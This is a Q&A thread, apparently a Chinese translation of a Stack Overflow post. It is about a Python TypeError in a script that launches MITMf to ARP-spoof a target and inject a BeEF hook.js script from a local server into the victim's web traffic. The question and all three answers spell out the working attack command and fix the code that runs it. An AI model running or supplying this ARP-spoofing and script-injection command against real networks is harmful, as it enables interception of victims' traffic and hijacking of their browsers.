无法运行子进程cmd不断收到错误

时间:2016-03-04 19:39:44

标签: python shell subprocess

我的代码是:

#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")

from subprocess import call
import subprocess

import os
os.chdir("/usr/share/mitmf/")

subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)

我的出局是:

Traceback (most recent call last):                                    
File "./ARP_Beef.py", line 11, in <module>
    subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'

我无法弄清楚出了什么问题。有人可以帮助我

3 个答案:

答案 0 :(得分:0)

删除'['']'

"python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js" % (gateway, ip_addr)

答案 1 :(得分:0)

我想说:用单个列表元素来做:

subprocess.Popen(["python", "mitmf.py", "--spoof", "--arp", "-i", "wlan0", "--gateway", gateway, "--target", ip_addr, "--inject", "--js-url", "http://192.168.1.109:3000/hook.js"], shell = False)

docs.python.org:&#34;在Unix上,如果args是一个字符串,则该字符串被解释为要执行的程序的名称或路径。但是,只有才能将参数传递给程序。&#34;

答案 2 :(得分:0)

  

TypeError:%:&#39; list&#39;不支持的操作数类型和&#39;元组&#39;

这意味着你无法做到:

>>> ['%s'] % ('b',)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'

您应该将每个命令行参数作为单独的列表项传递:

#!/usr/bin/env python
import subprocess
import sys

gateway, ip_addr = 'get them', 'however you like'
subprocess.check_call([sys.executable] + 
    '/usr/share/mitmf/mitmf.py --spoof --arp -i wlan0'.split() +
    ['--gateway', gateway, '--target', ip_addr] +
    '--inject --js-url http://192.168.1.109:3000/hook.js'.split(),
                      cwd="/usr/share/mitmf/")
相关问题